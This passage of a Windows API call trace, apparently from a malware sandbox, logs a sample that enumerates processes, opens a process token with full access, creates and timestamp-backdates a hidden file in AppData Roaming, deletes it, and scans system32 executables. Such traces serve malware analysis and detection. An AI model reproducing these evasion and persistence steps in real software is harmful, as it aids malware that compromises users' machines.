lpUsedDefaultChar=0x0) returned 11 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948950 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948950) returned 1 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948950 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948950) returned 1 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x942aa8 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f500 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948950 [0252.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x9487e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reader_sl.exe", lpUsedDefaultChar=0x0) returned 13 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948998 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948998) returned 1 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948998 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948998) returned 1 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x942b08 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f588 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948998 [0252.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x9487e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9489e0 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9489e0) returned 1 [0252.845] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9489e0 [0252.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9489e0) returned 1 [0252.846] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0252.846] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d278) returned 1 [0252.846] NtOpenProcess (in: ProcessHandle=0x118fb9c, DesiredAccess=0x400, ObjectAttributes=0x118fba8*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x118fba0*(UniqueProcess=0x2f0, UniqueThread=0x0) | out: ProcessHandle=0x118fb9c*=0x148) returned 0x0 [0252.847] GetExitCodeProcess (in: hProcess=0x148, lpExitCode=0x118fbc4 | out: lpExitCode=0x118fbc4*=0x103) returned 1 [0252.847] NtOpenProcessToken (in: ProcessHandle=0x148, DesiredAccess=0xf01ff, TokenHandle=0x118fbd8 | out: TokenHandle=0x118fbd8*=0x14c) returned 0x0 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948290) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dd90) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9482d8) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e840) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952058) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9483b0) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9520b8) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9483f8) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952118) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948440) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952178) returned 1 [0252.847] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948488) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9521d8) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9484d0) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eb70) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952238) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948518) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ebf8) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952298) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948560) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ec80) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9522f8) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9485a8) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ed08) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952358) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9485f0) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ed90) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9523b8) returned 1 [0252.848] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948638) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952418) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948680) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eea0) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952478) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9486c8) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ef28) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9524d8) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948710) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8efb0) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952538) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948758) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f038) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952598) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487a0) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f0c0) returned 1 [0252.849] NtClose (Handle=0x148) returned 0x0 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9525f8) returned 1 [0252.849] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948320) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f1d0) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942868) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9428c8) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948830) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f2e0) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942928) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948878) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f368) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942988) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9488c0) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f3f0) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9429e8) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948908) returned 1 [0252.850] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f478) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942a48) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948950) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f500) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942aa8) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948998) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f588) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942b08) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f148) returned 1 [0252.851] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948200) returned 1 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f148 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x800) returned 0x943850 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x184) returned 0x944058 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948200 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948998 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948950 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948908 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9488c0 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948878 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948830 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948320 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487a0 [0252.851] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948758 [0252.852] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948710 [0252.852] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9486c8 [0252.852] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948680 [0252.852] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948638 [0252.852] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485f0 [0252.852] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x14c, dwFlags=0x0, pszPath=0x943850 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0253.285] CryptAcquireContextW (in: phProv=0x118f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8fc*=0x558980) returned 1 [0253.286] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f910 | out: pbBuffer=0x118f910) returned 1 [0253.286] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.286] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f588 [0253.286] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.287] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.287] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.287] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.288] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.288] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.288] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.289] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.289] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.289] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.290] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.290] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.290] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.291] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.291] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.291] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.292] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.292] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.292] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.293] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.293] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.293] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.294] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.294] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.294] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.295] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.295] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.295] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.296] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.296] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.296] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.297] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.297] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.297] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.331] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.331] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.331] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.332] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.332] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.332] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.333] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.333] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.333] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.334] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.334] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.334] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.335] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.336] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.336] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.337] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.337] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.337] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.338] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.338] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.338] CryptAcquireContextW (in: phProv=0x118f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f8f8*=0x558980) returned 1 [0253.339] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f90c | out: pbBuffer=0x118f90c) returned 1 [0253.339] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.339] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f588) returned 1 [0253.339] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f588 [0253.339] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hAt7aOVhbdDNIg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hat7aovhbddnig"), fInfoLevelId=0x0, lpFileInformation=0x118f8c4 | out: lpFileInformation=0x118f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0xa80000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x118fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x118f95c)) returned 0 [0253.341] GetLastError () returned 0x2 [0253.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hAt7aOVhbdDNIg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hat7aovhbddnig"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x164 [0253.343] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x118f908, lpLastWriteTime=0x118f908) returned 1 [0253.343] NtClose (Handle=0x164) returned 0x0 [0253.343] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x800) returned 0x9441e8 [0253.344] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hAt7aOVhbdDNIg", lpszShortPath=0x9441e8, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1") returned 0x2a [0253.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hAt7aOVhbdDNIg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hat7aovhbddnig"), fInfoLevelId=0x0, lpFileInformation=0x118f904 | out: lpFileInformation=0x118f904*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xd5cf7440, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0xd5cf7440, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xd5cf7440, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0253.345] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hAt7aOVhbdDNIg", dwFileAttributes=0x80) returned 1 [0253.345] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hAt7aOVhbdDNIg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hat7aovhbddnig")) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9441e8) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f588) returned 1 [0253.346] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485a8 [0253.346] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x9441e8 [0253.346] GetSystemDirectoryW (in: lpBuffer=0x9441e8, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0253.346] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9441e8) returned 1 [0253.346] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f588 [0253.346] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f500 [0253.346] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f478 [0253.346] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x118f9a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f9a8) returned 0x548f80 [0253.346] CryptAcquireContextW (in: phProv=0x118f918, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118f918*=0x558980) returned 1 [0253.347] CryptGenRandom (in: hProv=0x558980, dwLen=0x4, pbBuffer=0x118f92c | out: pbBuffer=0x118f92c) returned 1 [0253.347] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.347] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, 